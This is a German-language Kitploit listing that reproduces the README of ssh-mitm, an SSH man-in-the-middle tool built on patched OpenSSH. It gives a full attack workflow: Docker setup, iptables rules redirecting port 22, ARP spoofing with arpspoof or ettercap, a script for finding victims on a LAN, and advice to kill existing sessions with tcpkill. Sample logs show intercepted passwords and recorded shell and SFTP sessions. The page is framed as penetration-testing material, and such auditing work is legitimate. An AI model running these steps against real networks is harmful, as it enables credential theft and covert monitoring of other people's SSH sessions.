Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
ssh-mitm — SSH man-in-the-middle tool | Kitploit
Tools/GitHubGitHub/jtesta/ssh-mitm
Password CrackingReconnaissanceIDS/IPS EvasionLateral MovementInformation GatheringNetwork SecurityPenetration TestingAuthenticationRed TeamingArchived
GitHubjtesta/ssh-mitm

ssh-mitm

SSH man-in-the-middle tool

1.7k213vor 5 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen

SSH MITM v2.3-dev

Autor: Joe Testa (@therealjoetesta)

Übersicht

Dieses Penetrationstest-Werkzeug ermöglicht es einem Auditor, SSH-Verbindungen abzufangen. Ein Patch auf den OpenSSH v7.5p1-Quellcode bewirkt, dass dieser als Proxy zwischen dem Opfer und dessen beabsichtigtem SSH-Server fungiert; alle Klartext-Passwörter und Sitzungen werden auf die Festplatte protokolliert.

Natürlich wird der SSH-Client des Opfers bemängeln, dass sich der Schlüssel des Servers geändert hat. Da dies aber in 99,99999 % der Fälle durch eine legitime Aktion (Neuinstallation des Betriebssystems, Konfigurationsänderung usw.) verursacht wird, ignorieren viele/die meisten Benutzer die Warnung und fahren fort.

HINWEIS: Führen Sie das modifizierte sshd_mitm nur in einer VM oder einem Container aus! Ad-hoc-Änderungen wurden an kritischen Stellen im OpenSSH-Quellcode vorgenommen, ohne deren Sicherheitsauswirkungen zu berücksichtigen. Es ist nicht schwer vorstellbar, dass diese Änderungen schwerwiegende Sicherheitslücken einführen.

Änderungsprotokoll

  • v2.3: ???: Unterstützung für Linux Mint 20 und Ubuntu 20 hinzugefügt.
  • v2.2: 16. September 2019: Installation auf Kali und Linux Mint 19 behoben. Behoben: doppelte Passwortaufforderung unter bestimmten Bedingungen. Verbesserte Fehlerprotokollierung.
  • v2.1: 4. Januar 2018: Nicht-interaktive Befehlsausführung ermöglicht, Verbindungen zu alten Servern mit schwachen Algorithmen können jetzt abgefangen werden, zwei schwerwiegende Fehler behoben, die dazu führten, dass AppArmor einige Verbindungen beendete, und verbesserte Fehlerprotokollierung.
  • v2.0: 12. September 2017: Vollständige SFTP-Unterstützung (!) und AppArmor-Einschränkung hinzugefügt.
  • v1.1: 6. Juli 2017: Root-Recht-Abhängigkeiten entfernt, automatischer Installer hinzugefügt, Kali-Linux-Unterstützung hinzugefügt, Skript JoesAwesomeSSHMITMVictimFinder.py hinzugefügt, um potenzielle Ziele in einem LAN zu finden.
  • v1.0: 16. Mai 2017: Erste Version.

Das Docker-Image ausführen

Der schnellste und einfachste Weg, um loszulegen, ist die Verwendung des Docker-Images mit vorinstalliertem SSH MITM.

1.) Holen Sie sich das Image von Dockerhub mit:

root@kitploit:~
$ docker pull positronsecurity/ssh-mitm

2.) Führen Sie dann den Container aus mit:

root@kitploit:~
$ mkdir -p ${PWD}/ssh_mitm_logs && docker run --network=host -it --rm -v ${PWD}/ssh_mitm_logs:/home/ssh-mitm/log positronsecurity/ssh-mitm

3.) Aktivieren Sie IP-Forwarding und NAT-Routen auf Ihrem Host-Rechner:

root@kitploit:~
# echo 1 > /proc/sys/net/ipv4/ip_forward
# iptables -P FORWARD ACCEPT
# iptables -A INPUT -p tcp --dport 2222 -j ACCEPT
# iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-ports 2222

4.) Finden Sie Ziele im LAN und führen Sie ARP-Spoofing durch (siehe unten).

5.) Shell- und SFTP-Sitzungen werden im Verzeichnis ssh_mitm_logs protokolliert.

Ersteinrichtung

Führen Sie als Root das Skript install.sh aus. Dies installiert die Voraussetzungen aus den Repositories, lädt das OpenSSH-Archiv herunter, überprüft seine Signatur, kompiliert es und initialisiert eine nicht privilegierte Umgebung zur Ausführung darin.

Ziele finden

Das Skript JoesAwesomeSSHMITMVictimFinder.py erleichtert das Auffinden von Zielen in einem LAN erheblich. Es führt ARP-Spoofing für einen IP-Block durch und schnüffelt für eine kurze Zeit nach SSH-Verkehr, bevor es zum nächsten Block übergeht. Laufende SSH-Verbindungen, die von Geräten im LAN ausgehen, werden gemeldet.

Standardmäßig führt JoesAwesomeSSHMITMVictimFinder.py ARP-Spoofing für nur 5 IPs gleichzeitig für 20 Sekunden durch, bevor es zum nächsten Block von 5 übergeht. Diese Parameter können angepasst werden, wobei ein Trade-off besteht: Je mehr IPs gleichzeitig gespooft werden, desto größer ist die Wahrscheinlichkeit, eine laufende SSH-Verbindung zu erwischen, aber desto größer ist auch die Belastung der Netzwerkschnittstelle. Bei zu hoher Last beginnt die Schnittstelle, Frames zu verwerfen, was zu einem Denial-of-Service und zu erhöhtem Misstrauen führt (das ist schlecht). Die Standardwerte sollten in den meisten Fällen keine Probleme verursachen, auch wenn es länger dauert, Ziele zu finden. Die Blockgröße kann in Netzwerken mit geringer Auslastung sicher erhöht werden.

Beispiel:

root@kitploit:~
# ./JoesAwesomeSSHMITMVictimFinder.py --interface enp0s3 --ignore-ips 10.11.12.50,10.11.12.53
Found local address 10.11.12.141 and adding to ignore list.
Using network CIDR 10.11.12.141/24.
Found default gateway: 10.11.12.1
IP blocks of size 5 will be spoofed for 20 seconds each.
The following IPs will be skipped: 10.11.12.50 10.11.12.53 10.11.12.141


Local clients:
  * 10.11.12.70 -> 174.129.77.155:22
  * 10.11.12.43 -> 10.11.99.2:22

Die obige Ausgabe zeigt, dass zwei Geräte im LAN SSH-Verbindungen aufgebaut haben (10.11.12.43 und 10.11.12.70); diese können für einen Man-in-the-Middle-Angriff ins Visier genommen werden. Beachten Sie jedoch, dass Sie warten müssen, bis sie neue Verbindungen initiieren, um potenziell Anmeldeinformationen abfangen zu können. Ungeduldige Pentester können sich dafür entscheiden, bestehende SSH-Sitzungen gewaltsam zu beenden (mit dem Tool tcpkill), was die Clients dazu veranlasst, sofort neue zu erstellen...

Den Angriff ausführen

1.) Sobald Sie die Ersteinrichtung abgeschlossen und eine Liste potenzieller Opfer gefunden haben (siehe oben), führen Sie start.sh als Root aus. Dies startet sshd_mitm, aktiviert IP-Forwarding und richtet die SSH-Paketabfangung über iptables ein.

2.) Führen Sie ARP-Spoofing auf das/die Ziel(e) durch (Profi-Tipp: Spoofen Sie nicht alles! Ihre schwache Netzwerkschnittstelle wird wahrscheinlich nicht in der Lage sein, den gesamten Netzwerkverkehr auf einmal zu bewältigen. Spoofen Sie nur ein paar IPs gleichzeitig):

root@kitploit:~
arpspoof -r -t 192.168.x.1 192.168.x.5

Alternativ können Sie das Tool ettercap verwenden:

root@kitploit:~
ettercap -i enp0s3 -T -M arp /192.168.x.1// /192.168.x.5,192.168.x.6//

3.) Überwachen Sie auth.log. Abgefangene Passwörter erscheinen hier:

root@kitploit:~
sudo tail -f /var/log/auth.log

4.) Nachdem eine Sitzung hergestellt wurde, finden Sie ein vollständiges Protokoll aller Ein- und Ausgaben in /home/ssh-mitm/. SSH-Sitzungen werden als shell_session_*.txt protokolliert, SFTP-Sitzungen als sftp_session_*.html (mit übertragenen Dateien in einem entsprechenden Verzeichnis).

Beispielergebnisse

Bei Erfolg enthält /var/log/auth.log Zeilen, die das Passwort protokollieren, wie folgt:

root@kitploit:~
Sep 11 19:28:14 showmeyourmoves sshd_mitm[16798]: INTERCEPTED PASSWORD: hostname: [10.199.30.x]; username: [jdog]; password: [supercalifragilistic] [preauth]

Des Weiteren wird die gesamte SSH-Sitzung des Opfers protokolliert:

root@kitploit:~
# cat /home/ssh-mitm/shell_session_0.txt
Hostname: 10.199.30.x
Username: jdog
Password: supercalifragilistic
-------------------------
Last login: Thu Aug 31 17:42:38 2017
OpenBSD 6.1 (GENERIC.MP) #21: Wed Aug 30 08:21:38 CEST 2017

Welcome to OpenBSD: The proactively secure Unix-like operating system.

Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code.  With bug reports, please try to ensure that
enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.

jdog@jefferson ~ $ ppss
  PID TT  STAT       TIME COMMAND
59264 p0  Ss      0:00.02 -bash (bash)
52132 p0  R+p     0:00.00 ps
jdog@jefferson ~ $ iidd
uid=1000(jdog) gid=1000(jdog) groups=1000(jdog), 0(wheel)
jdog@jefferson ~ $ sssshh  jjtteessttaa@@mmaaggiiccbbooxx
jtesta@magicbox's password: ROFLC0PTER!!1juan

Beachten Sie, dass die Zeichen in den Benutzerbefehlen in der Datei doppelt erscheinen, da sowohl die Eingabe des Benutzers als auch die Ausgabe der Shell (die Zeichen zurücksendet) aufgezeichnet werden. Beachten Sie, dass bei Programmen wie sudo und ssh, die vorübergehend die Echofunktion deaktivieren, um ein Passwort zu lesen, keine doppelten Zeichen protokolliert werden.

Alle SFTP-Aktivitäten werden ebenfalls erfasst. Verwenden Sie einen Browser, um sftp_session_0.html anzuzeigen. Es enthält ein Protokoll der Befehle mit Links zu hoch- und heruntergeladenen Dateien:

root@kitploit:~
# cat /home/ssh-mitm/sftp_session_0.txt
<html><pre>Hostname: 10.199.30.x
Username: jdog
Password: supercalifragilistic
-------------------------
> realpath "." (Result: /home/jdog)
> realpath "/home/jdog/." (Result: /home/jdog)
> ls /home/jdog
drwxr-xr-x    4 jdog     jdog         4096 Sep 11 16:12 .
drwxr-xr-x    4 root     root         4096 Sep  6 11:53 ..
-rw-r--r--    1 jdog     jdog         3771 Aug 31  2015 .bashrc
-rw-r--r--    1 jdog     jdog          220 Aug 31  2015 .bash_logout
drwx------    2 jdog     jdog         4096 Sep  6 11:54 .cache
-rw-r--r--    1 jdog     jdog          655 May 16 08:49 .profile
drwx------    2 jdog     jdog         4096 Sep  8 16:59 .ssh
-rw-rw-r--    1 jdog     jdog      5242880 Sep  8 15:52 file
-rw-rw-r--    1 jdog     jdog        43131 Sep 10 10:47 file2
-rw-rw-r--    1 jdog     jdog           83 Sep  6 12:56 file3
-rw-rw-r--    1 jdog     jdog      3048960 Sep 11 13:51 file4

> realpath "/home/jdog/file5" (Result: /home/jdog/file5)
> put <a href="sftp_session_0/file5">/home/jdog/file5</a>
> realpath "/home/jdog/file5" (Result: /home/jdog/file5)
> stat "/home/jdog/file5" (Result: flags: 15; size: 854072; uid: 1001; gid: 1001; perm: 0100664, atime: 1505172831, mtime: 1505172831)
> setstat "/home/jdog/file5" (Result: flags: 4; size: 0; uid: 0; gid: 0; perm: 0100700, atime: 0, mtime: 0)
</pre></html>

Entwicklerdokumentation

In lol.h befinden sich zwei Defines: DEBUG_HOST und DEBUG_PORT. Aktivieren Sie sie und setzen Sie den Hostnamen auf einen Testserver. Jetzt können Sie sich direkt mit sshd_mitm verbinden, ohne ARP-Spoofing zu verwenden, um Ihre Änderungen zu testen, z. B.:

root@kitploit:~
ssh -p 2222 valid_user_on_debug_host@localhost

Verwenden Sie das Skript dev/redeploy.sh, um Änderungen am OpenSSH-Quellcode zu testen.

Verwenden Sie das Skript dev/make_diff_of_uncommitted_changes.sh, um einen Diff aller nicht committeden Änderungen anzuzeigen.

Verwenden Sie das Skript dev/regenerate_patch.sh, um einen vollständigen Patch der OpenSSH-Quellen neu zu generieren.

Tool herunterladen